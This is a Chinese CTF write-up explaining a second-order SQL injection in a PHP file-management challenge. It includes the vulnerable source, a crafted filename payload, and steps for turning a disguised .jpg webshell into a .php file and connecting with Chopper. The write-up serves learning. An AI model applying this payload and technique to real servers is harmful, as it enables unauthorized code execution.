一道二次注入Getshell的CTF题

这道题是CumtCTF第二次双月赛的一道web题,和其他web题一起在上一篇wp:CumtCTF第二次双月赛Writeup(Web详解)中已经详细分析过了,但由于我刚入门,觉得在这道题中收获了很多知识,所以想单独放在一篇文章中,方便之后分类查阅。

关于什么是二次注入,可参考:SQL二次注入


下面进入题目:

文件管理系统

1、先扫目录,发现可以下载源码,进行代码审计。

2、查看upload.php代码,发现是如下白名单验证,无法上传绕过。



require_once "common.inc.php";
define('ROOT',dirname(__FILE__).'/'); 

if($_FILES)
{
    $file = $_FILES["upfile"];
    if($file["error"] == UPLOAD_ERR_OK) {
        $name = basename($file["name"]);
        $path_parts = pathinfo($name);

        if(!in_array($path_parts["extension"], array("gif", "jpg", "png", "zip", "txt"))) {
            exit("error extension");
        }
        $path_parts["extension"] = "." . $path_parts["extension"]; 
        // $path_parts["extension"] = ".jpg"

        $name = $path_parts["filename"] . $path_parts["extension"];
        
        $path_parts['filename'] = addslashes($path_parts['filename']);
        //$path_parts['filename'] = "',extension='',filename='webshell.jpg"

        $sql = "select * from `file` where `filename`='{$path_parts['filename']}' and `extension`='{$path_parts['extension']}'";
        $fetch = $db->query($sql);
        if($fetch->num_rows>0) {
            exit("file is exists");
        }

        if(move_uploaded_file($file["tmp_name"], ROOT . UPLOAD_DIR . $name)) {

            $sql = "insert into `file` ( `filename`, `view`, `extension`) values( '{$path_parts['filename']}', 0, '{$path_parts['extension']}')";
            $re = $db->query($sql);
            if(!$re) {
                echo 'error';
                print_r($db->error);
                exit;
            }
            $url = "/" . UPLOAD_DIR . $name;
            echo "Your file is upload, url:
                {$url}\" target='_blank'>{$url}
go back"
; } else { exit("upload error"); } } else { print_r(error_get_last()); exit; } }

3.问题主要出现在rename.php里,代码如下:



require_once "common.inc.php";
define('ROOT',dirname(__FILE__).'/'); 

if(isset($req['oldname']) && isset($req['newname'])) {
    $result = $db->query("select * from `file` where `filename`='{$req['oldname']}'");
    //因为filename是经过转义后存入数据库的,这里是正常执行sql语句
    if ($result->num_rows>0) {
        $result = $result->fetch_assoc();
    }else{
        exit("old file doesn't exists!");
    }
    
    if($result) {
        
        $req['newname'] = basename($req['newname']);
        $re = $db->query("update `file` set `filename`='{$req['newname']}', `oldname`='{$result['filename']}' where `fid`={$result['fid']}");
        if(!$re) {
            print_r($db->errorInfo());
            exit;
        }
        $oldname = ROOT.UPLOAD_DIR . $result["filename"].$result["extension"];
        $newname = ROOT.UPLOAD_DIR . $req["newname"].$result["extension"];
        if(file_exists($oldname)) {
            rename($oldname, $newname);
            $url = "/" . $newname;
            echo "Your file is rename, url:
                >{$url}</a><br/>
                <a href=\"/\">go back";
        }
        else{echo $oldname." not exists.";}
    }
}
?>

第一个select语句显示根据 $req['filename'] 从数据库里查询到已存在的一行,再用第二个update语句进行修改,这里的'oldname'='{$result['filename']}'将从数据库里查出的$result['filename']再一次入库,因此存在二次注入。

4、观察发现oldnamenewname,有几个特点:

  • 后缀相同,都是$result[‘extension’]
  • oldname的文件名来自数据库,newname的文件名来自用户输入

虽然代码要求oldnamenewname要求后缀相同,可以通过update型注入extension改为空,同时可修改filename的值。
因此构造文件名payload为:',extension='',filename='webshell.jpg.jpg

5、上传文件名为:',extension='',filename='webshell.jpg.jpg的文件后,根据upload.php知:

 $path_parts["extension"] = ".jpg"
 $path_parts['filename'] = "',extension='',filename='webshell.jpg"
 插入数据库后,此时数据库里:
 filename字段的值为经过addslashes()转义的',extension='',filename='webshell.jpg
 extension字段的值为.jpg

一道二次注入Getshell的CTF题_第1张图片

6、下来才是真正的updata注入过程

进入到rename.php页面,进行如下操作,将文件名修改为由',extension='',filename='webshell.jpg修改为webshell.jpg(这里rename页面输入的文件名均是要求不含后缀的,在数据库里文件名和后缀是分两个字段进行存储的)
一道二次注入Getshell的CTF题_第2张图片
上述操作改名后:

$req['oldname'] = "',extension='',filename='webshell.jpg"
$req['newname'] = "webshell.jpg"

接下来执行:select * from 'file' where 'filename'='{$req['oldname']}'
因为filename在上传后经过addslashes()转义的,所以此条语句正常执行

但是在执行下条语句,也就是:

update 'file' set 'filename'='{$req['newname']}', 'oldname'='{$result['filename']}' where 'fid'={$result['fid']}

出现了注入,将构造的文件名插入这条语句得到实际执行的sql语句:

 update 'file' set 'filename'='webshell.jpg', 'oldname'='',extension='',filename='webshell.jpg' where 'fid'={$result['fid']}

可以发现通过updata语句,修改了数据中的字段值,此时数据库中各字段:

filename = webshell.jpg
oldname = 空
extension =  空

这样思路就很清楚了:

  • 虽然数据库中的filename通过注入改变了,但真实系统目录里的文件名为其实并没有变。
    但是通过前面的注入,这条记录的extension值为空,因此只要能够调用rename()函数,就直接把输入的filename里的后缀当成文件后缀。
  • 执行rename()函数还有一个判断:if(file_exists($oldname)),但实际上我们系统目录并没有webshell.jpg这个文件,这样就需要再上传一个webshell.jpg文件。

7、因此接下来就可以上传真正包含一句话木马的文件:webshell.jpg,上传后:

$path_parts["extension"] = ".jpg"
$path_parts['filename'] = "webshell"
并在数据库中插入了新的一条记录:
filename字段的值为经过addslashes()转义的webshell
extension字段的值为.jpg
且系统目录下存在真实文件:webshell.jpg

一道二次注入Getshell的CTF题_第3张图片
接下来再次进入rename.php页面进行改名,这也是很关键的一步:
一道二次注入Getshell的CTF题_第4张图片
webshell.jpg改为webshell.php,这样操作后:

因为注入后,数据库中存在filenamewebshell.jpg的记录,因此可以绕过这条语句:

select * from 'file' where 'filename'='{$req['oldname']}'

然后再次通过updata语句:

update 'file' set 'filename'='{$req['newname']}', 'oldname'='{$result['filename']}' where 'fid'={$result['fid']}

filename的值从webshell.jpg修改为webshell.phpoldname修改为原来filename的值,其他不变,此时数据库中这条记录的字段值为:

filename = webshell.php
oldname = webshell.jpg
extension =  空

接下来,因为后缀extension为空,所以通过这两条语句赋值后:

$oldname = ROOT.UPLOAD_DIR . $result["filename"].$result["extension"];
$newname = ROOT.UPLOAD_DIR . $req["newname"].$result["extension"];

实际上得到:

$oldname = webshell.php
$newname = webshell.jpg

最后,在进行if(file_exists($oldname))判断时,因为第二次上传到目录的文件就是webshell.jpg,所以可以通过判断。
这样就可以执行rename($oldname, $newname),将目录下的包含木马的文件webshell.jpg改名为webshell.php,也就成功上传了php木马到后台。

8、既然已经成功上传了webshell,那么直接用菜刀链接,即可getshell,获得flag。
一道二次注入Getshell的CTF题_第5张图片

你可能感兴趣的:(CTF,代码审计)